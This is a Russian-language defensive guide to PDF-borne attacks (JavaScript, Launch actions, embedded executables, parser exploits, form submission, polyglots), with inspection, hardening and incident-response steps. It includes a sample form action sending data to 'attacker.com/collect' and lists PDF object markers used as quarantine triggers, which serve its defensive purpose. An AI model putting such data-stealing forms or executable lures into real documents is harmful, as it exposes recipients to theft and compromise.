PDF выглядит как безобидный документ «только для чтения», но технически это контейнер, способный выполнять код, запускать программы и выгружать данные. Опасность не в самом формате, а в возможностях, которые разработчики вложили в стандарт, а производители ридеров реализовали по умолчанию. Понимание механики атак позволяет отделить реальные угрозы от страхов и настроить защиту без потери удобства работы с документами.
- Почему «просто документ» ведёт себя как программа
- Основные векторы атак через PDF
- JavaScript в PDF
- Launch-действия и встроенные файлы (EmbeddedFiles)
- Уязвимости парсеров (Memory Corruption)
- Формы и отправка данных (SubmitForm)
- Скрытые слои и визуальное обманывание (OCG — Optional Content Groups)
- Полиглот-файлы и обход детекторов
- Как проверить подозрительный PDF без риска
- Настройка защиты в ридере и системе
- Adobe Acrobat Reader / Acrobat Pro
- Альтернативные ридеры
- Политики Windows / AppLocker / WDAC / SELinux
- Почтовый шлюз и прокси
- Сценарии: когда беспокоиться, а когда — нет
- Типичные ошибки пользователей и администраторов
- Практический чек-лист: что сделать сегодня
- Что делать, если уже открыли подозрительный файл
- Частые вопросы
- Главный принцип: не доверяйте формату, управляйте поведением ридера
Почему «просто документ» ведёт себя как программа
Формат PDF изначально проектировался как точный образ страницы для печати. Со временем в стандарт добавились интерактивные элементы: формы, аннотации, слои, 3D-модели, видео, JavaScript и действия запуска внешних приложений. Современный PDF — это по сути архив с внутренней структурой объектов, где наряду со страницами могут лежать скрипты, встроенные файлы и инструкции для ридера.
Когда вы открываете файл, парсер ридера читает эту структуру. Если в объектах описаны действия — например, выполнить JavaScript при открытии, запустить встроенный .exe при клике на ссылку или отправить данные формы на внешний URL — ридер может их исполнить. Многие из этих возможностей включены по умолчанию, потому что они нужны для легальных сценариев: заполнение налоговых деклараций, цифровые подписи, интерактивные каталоги.
Атакующий не ломает формат — он использует его по назначению. Вредоносный PDF — это валидный документ, который просто делает то, что в нём прописано, а пользователь не ожидает.
Основные векторы атак через PDF
JavaScript в PDF
Спецификация PDF поддерживает JavaScript (подмножество Acrobat JavaScript). Скрипт может выполняться при открытии, печати, клике на поле формы или по таймеру. Легальные кейсы: автозаполнение полей, валидация, динамическое показание/скрытие слоёв. Вредоносные: скачивание и запуск полезной нагрузки, кража данных из полей формы, перехват нажатий клавиш, сканирование локальной файловой системы через уязвимости парсера.
Важно: JavaScript в PDF — это не браузерный JS. У него другой API, доступ к объектам документа и, в уязвимых версиях ридеров, выход в систему. Даже без уязвимости нулевого дня скрипт может социально инженерировать пользователя: показать фальшивое окно обновления, подменить содержимое страницы, заставить кликнуть по вредоносной ссылке.
Launch-действия и встроенные файлы (EmbeddedFiles)
PDF может содержать вложения (EmbeddedFiles) любого типа: .exe, .bat, .ps1, .jar, .vbs, .msi. Спецификация позволяет описать действие Launch, которое при клике на ссылку или аннотацию запускает этот файл. Ридеры по-разному обрабатывают такое: Adobe Acrobat показывает предупреждение, но список «разрешённых» расширений можно расширить через реестр или настройки предприятия; некоторые альтернативные ридеры запускают без вопросов, если MIME-тип ассоциирован в системе.
Классическая схема: письмо с «счёт-фактурой.pdf», внутри встроенный .exe, по клику на кнопку «Подробнее» — запуск. Пользователь видит знакомый значок PDF, не подозревая, что нажал на обёртку для исполняемого файла.
Уязвимости парсеров (Memory Corruption)
Парсеры PDF — сложный код, обрабатывающий сотни типов объектов: шрифты, изображения (JPEG, JPEG2000, JBIG2), шрифты Type 1, CFF, OpenType, сжатие Flate, LZW, CCITT, криптографические фильтры. Ошибки в обработке-malformed данных приводят к переполнению буфера, use-after-free, integer overflow. Эксплойт — это специально сконструированный PDF, который заставляет парсер выполнить произвольный код в контексте процесса ридера.
Примеры известных векторов: уязвимости в парсере шрифтов (CoolType), в декодере JBIG2, в обработке анотаций /RichMedia. Такие атаки не требуют действий пользователя кроме открытия файла. Они патчатся обновлениями ридера, но нулевые дни (0-day) появляются регулярно.
Формы и отправка данных (SubmitForm)
PDF-формы могут отправлять заполненные данные на URL (action=»http://attacker.com/collect»). Легально: отправка заявки в банк. Вредоосновно: скрытые поля, забирающие локальные пути, версии ПО, содержимое буфера обмена (через JS), или перенаправление на фишинговую страницу, имитирующую легатимый сервис. Пользователь заполняет форму, жмёт «Отправить», данные уходят злоумышленнику.
Скрытые слои и визуальное обманывание (OCG — Optional Content Groups)
PDF поддерживает слои, которые можно показывать/скрывать через JS или действия. Атака: на экране виден безобидный текст, но при печати или при клике на невидимую область срабатывает другой слой с вредоносным содержимым или ссылкой. Также используется для обхода DLP-систем: текст визуально один, а текстовый слой для копирования/индексации — другой.
Полиглот-файлы и обход детекторов
Файл может быть одновременно валидным PDF и валидным ZIP/HTML/JAR/PE. Заголовки форматов не конфликтуют. Антивирус сканирует как PDF — чисто. Пользователь открывает в браузере — срабатывает HTML/JS. Запускает как .jar — выполняется Java. Такой файл проходит проверки, ориентированные на один формат.
Как проверить подозрительный PDF без риска
Не открывайте подозрительный файл в основном ридере на рабочей машине. Используйте пошаговый порядок проверки:
- Проверьте расширение и заголовок. Файл назван .pdf, но начинается с %PDF? Используйте file (Linux/macOS) или TrID / Detect It Easy (Windows) — они определяют настоящий формат по сигнатурам, а не по имени.
- Посмотрите структуру без парсинга содержимого. Инструменты: pdfinfo (poppler), pdf-parser.py (Didier Stevens), peepdf, pdfid. Они покажут наличие JavaScript (/JS, /JavaScript), действия запуска (/Launch), встроенные файлы (/EmbeddedFiles), формы (/AcroForm, /XFA), скрытые объекты, сжатые потоки.
- Извлеките вложения без выполнения. pdfdetach -list file.pdf покажет список, pdfdetach -saveall file.pdf извлечёт на диск. Проверьте извлечённые файлы антивирусом и в песочнице.
- Распакуйте потоки. Многие вредоносные скрипты спрятаны в сжатых потоках (FlateDecode). pdf-parser.py —filter или mutool clean -d (MuPDF) раскроют их для статического анализа.
- Проверьте в песочнице. Загрузите файл в онлайн-песочницу (ANY.RUN, Hybrid Analysis, Joe Sandbox, CAPE) или запустите локально в изолированной ВМ с мониторингом процессов, сети, файловой системы. Не используйте основную ОС.
- Конвертируйте в безопасный формат. Если документ нужен только для чтения: растрируйте в изображения (pdftoppm -png, mutool draw) или конвертируйте в текст (pdftotext). Растрированный PDF без векторов, шрифтов и скриптов не может выполнить код. Потеряется поиск и копирование текста, но безопасность выше.
Настройка защиты в ридере и системе
Защита работает на трёх уровнях: настройки ридера, политики ОС/EDR, привычки пользователя.
Adobe Acrobat Reader / Acrobat Pro
- JavaScript: Edit → Preferences → JavaScript → снимите галочку «Enable Acrobat JavaScript». Это ломает интерактивные формы, но закрывает огромный вектор. Для корпоративных сред настройте через реестр/GPO: HKLM\Software\Policies\Adobe\Acrobat Reader\\FeatureLockDown\cJavaScript = 0.
- Запуск вложений: Preferences → Trust Manager → «Change Settings» → «Allow opening of non-PDF file attachments with external applications» — отключите. Или ограничьте список расширений через tBuiltInPermList / tCustomPermList в реестре.
- Защищённый режим (Protected Mode / Protected View): Включите оба. Protected Mode — песочница процесса рендеринга (низкие привилегии, изоляция от ФС/реестра). Protected View — дополнительная изоляция для файлов из интернета, вложений Outlook, сетевых папок. Файл открывается в режиме только чтения без JS и запуска.
- Enhanced Security: Preferences → Security (Enhanced) → включите «Enable Enhanced Security» для «Files from potentially unsafe locations» и «All files» при необходимости. Добавляйте доверенные папки в исключения, а не отключайте полностью.
- Автообновление: Включите автоматические обновления. Большинство критических уязвимостей парсеров патчатся в течение недель после обнаружения.
Альтернативные ридеры
Foxit, PDF-XChange, SumatraPDF, MuPDF, браузерные вьюверы (Chrome, Edge, Firefox PDF.js) — у каждого свои настройки. Общий принцип: найдите опцию «JavaScript», «Run embedded files», «Launch actions» и отключите. В браузерах PDF.js не поддерживает JS и Launch — это безопаснее для просмотра, но ломает сложные формы. Для заполнения форм используйте выделенный ридер с включённым JS только для доверенных файлов.
Политики Windows / AppLocker / WDAC / SELinux
- Запретите запуск исполняемых файлов из папок загрузок, Temp, профиля пользователя через AppLocker или WDAC (Windows Defender Application Control). Даже если PDF запустит вложение, ОС не даст ему выполниться.
- Включите Attack Surface Reduction (ASR) правила Defender: «Block Office applications from creating child processes», «Block execution of potentially obfuscated scripts», «Block credential stealing from the Windows local security authority subsystem». Не все напрямую касаются PDF, но снижают ущерб от пост-эксплуатации.
- Настройте Controlled Folder Access — защитит документы от шифрования, если эксплойт всё-таки прорвётся.
Почтовый шлюз и прокси
На уровне организации: блокируйте или помечайте вложения с активным содержимым. Используйте инструменты вроде pdfid в конвейере обработки почты: если в PDF есть /JS, /Launch, /EmbeddedFiles — карантин или удаление активных объектов (санитизация). Санитизация: пересохранение через Ghostscript (gs -o clean.pdf -sDEVICE=pdfwrite input.pdf) или MuPDF (mutool clean -gggg input.pdf output.pdf) — удаляет JS, вложения, действия, оставляя только визуальное содержимое. Проверяйте результат: сложные формы могут сломаться.
Сценарии: когда беспокоиться, а когда — нет
| Ситуация | Риск | Действия |
|---|---|---|
| PDF из надежного внутреннего источника (1С, SAP, ЭДО), подписанный ЭЦП | Минимальный | Открывайте в основном ридере. Проверьте валидность подписи. |
| PDF из письма от известного контрагента, но неожиданный | Средний (BEC — компрометация почты партнера) | Позвоните отправителю по известному телефону. Проверьте в песочнице. |
| PDF из спама, «счёт», «акт», «претензия» от неизвестного | Высокий | Не открывайте. Удалите. При необходимости — только растрированная версия. |
| PDF с сайта вендора (документация, даташит) | Низкий | Открывайте в браузере (PDF.js) или ридере с отключённым JS. |
| PDF с форума, файлообменника, в архиве с софтом | Высокий | Проверяйте в песочнице. Лучше не открывать. |
| PDF, который просит «включить расширенные возможности» или «обновить ридер» | Очень высокий (соцтехника) | Закройте. Это ложное уведомление внутри документа. |
Типичные ошибки пользователей и администраторов
- «У меня антивирус, значит можно открывать». Антивирус видит известные сигнатуры. Нулевые дни, полиморфные скрипты, полиглот-файлы и социальная инженерия проходят. Антивирус — второй эшелон, а не первый.
- «Я не нажимаю на кнопки, просто читаю». Эксплойты парсера срабатывают при открытии. JavaScript может запуститься по событию OpenAction без кликов.
- Отключение Protected Mode/Protected View «потому что медленно» или «не печатает». Это снимает песочницу. Решайте проблему печати настройками принтера или конвертацией, а не снижением защиты.
- Использование старых версий ридеров (Acrobat XI, Reader 9, старые Foxit). В них не патчатся уязвимости парсеров, нет песочницы, нет ASLR/DEP для процессов рендеринга.
- Отправка PDF с активным содержимым коллегам «для проверки». Если файл вредоносен, вы распространяете его. Проверяйте в изоляции.
- Вера в пароль на PDF как защиту. Пароль шифрует содержимое, но не отменяет исполнение кода после расшифровки. Защищённый паролем PDF с эксплойтом сработает так же после ввода пароля.
Практический чек-лист: что сделать сегодня
- Откройте настройки основного PDF-ридера: отключите JavaScript, запретите запуск вложений, включите Protected Mode и Protected View.
- Настройте браузер (Edge/Chrome/Firefox) как вьювер по умолчанию для PDF из интернета и почты — PDF.js безопаснее для просмотра.
- Установите pdfid / pdf-parser.py / mutool на рабочую станцию аналитика или на выделенную ВМ для быстрой статической проверки.
- Настройте почтовый шлюз: карантин для PDF с /JS, /Launch, /EmbeddedFiles; санитизация через Ghostscript/MuPDF для пропускаемых файлов.
- Включите ASR правила Defender и Controlled Folder Access на всех рабочих станциях.
- Обновите все ридеры до актуальных версий. Удалите старые (Acrobat XI и ниже, Foxit 9 и ниже).
- Проведите 15-минутный инструктаж коллегам: «Не открывайте неожиданные PDF. Не включайте расширенные возможности. При сомнении — перешлите в безопасность».
Что делать, если уже открыли подозрительный файл
Если файл открыт в ридере с включённым JavaScript или в старой версии без песочницы:
- Отключите машину от сети (Wi-Fi / кабель) — остановит возможную загрузку полезной нагрузки и эксфильтрацию.
- Завершите процессы ридера (AcroRd32.exe, FoxitReader.exe, chrome.exe — если открывали в браузере).
- Запустите полную проверку антивирусом/EDR.
- Проверьте автозагрузку, планировщик задач, службы на предмет новых записей (Autoruns, Process Hacker).
- Если есть подозрение на компрометацию — смените пароли с чистой машины, уведомите ИБ-службу.
- Сохраните подозрительный файл (в ZIP с паролем «infected») и передайте аналитикам для разбора.
Частые вопросы
Может ли PDF заразить просто при просмотре в папке (предпросмотр в Проводнике)?
Предпросмотр в Windows использует шелл-экстеншн (PDF Preview Handler), который загружает парсер ридера. Если в парсере есть уязвимость нулевого дня — да, эксплойт может сработать без двойного клика. Отключите предпросмотр для PDF: настройки папки → «Всегда показывать значки, а не эскизы» или отключите Preview Pane. В корпоративной среде — через GPO: «Turn off the display of thumbnails and preview handlers».
Безопасен ли PDF, открытый в браузере (Chrome/Edge/Firefox)?
Безопаснее, чем в десктопном ридере. PDF.js (Firefox, Chrome, Edge) не поддерживает JavaScript, Launch, EmbeddedFiles, XFA-формы. Он рендерит только визуальное содержимое. Но: браузерный движок тоже имеет парсер, в котором находили уязвимости (например, CVE-2022-1096 в V8 через PDF). Обновляйте браузер вовремя.
Помогает ли печать в PDF (Microsoft Print to PDF) для очистки?
Частично. При печати в виртуальный принтер документ растрируется или пересобирается через GDI. JavaScript, вложения, действия запуска, формы обычно теряются. Но: сложная векторная графика может остаться векторной, шрифты — встроенными. Если эксплойт был в парсере шрифта или обработке изображения — он может пережить. Надёжнее — растрирование в изображения (pdftoppm -r 150 -png) и сборка обратно в PDF без векторов.
Нужно ли покупать платный Acrobat Pro для безопасности?
Нет. Бесплатный Acrobat Reader имеет те же механизмы защиты (Protected Mode, Protected View, Enhanced Security, настройки JS), что и Pro. Pro добавляет редактирование, создание форм, OCR, сравнение документов — не относящиеся к безопасности. Для корпоративного управления настройками достаточно бесплатного дистрибутива и GPO/реестра.
Как быть с заполняемыми формами (налоговые, банковские, госуслуги)?
Они требуют JavaScript и XFA. Варианты: (1) используйте отдельный профиль ридера с включённым JS только для доверенных сайтов/папок; (2) заполняйте в веб-интерфейсе госуслуг/банка, а не в PDF; (3) если обязателен офлайн-PDF — откройте в ридере с JS, заполните, сохраните, потом верните настройки JS в «выкл». Не храните включённым JS постоянно.
Материал носит информационный характер и не заменяет консультацию специалиста по информационной безопасности. Настройка защитных механизмов в корпоративной среде должна согласовываться с администраторами и ИБ-службой. При подозрении на инцидент обратитесь к инцидент-респондерам.
Главный принцип: не доверяйте формату, управляйте поведением ридера
PDF — это не «картинка», а программируемый контейнер. Опасность не в расширении .pdf, а в возможностях, которые ридер разрешает по умолчанию. Отключение JavaScript, запрет запуска вложений, включение песочницы (Protected Mode/View) и санитизация входящих файлов закрывают 95% векторов атак без потери работоспособности для рутинных задач. Оставшиеся 5% — уязвимости парсеров нулевого дня — решаются своевременными обновлениями и изоляцией (песочница, виртуальная машина, растрирование). Начните с проверки настроек своего ридера прямо сейчас — это занимает две минуты и сразу снижает риск.
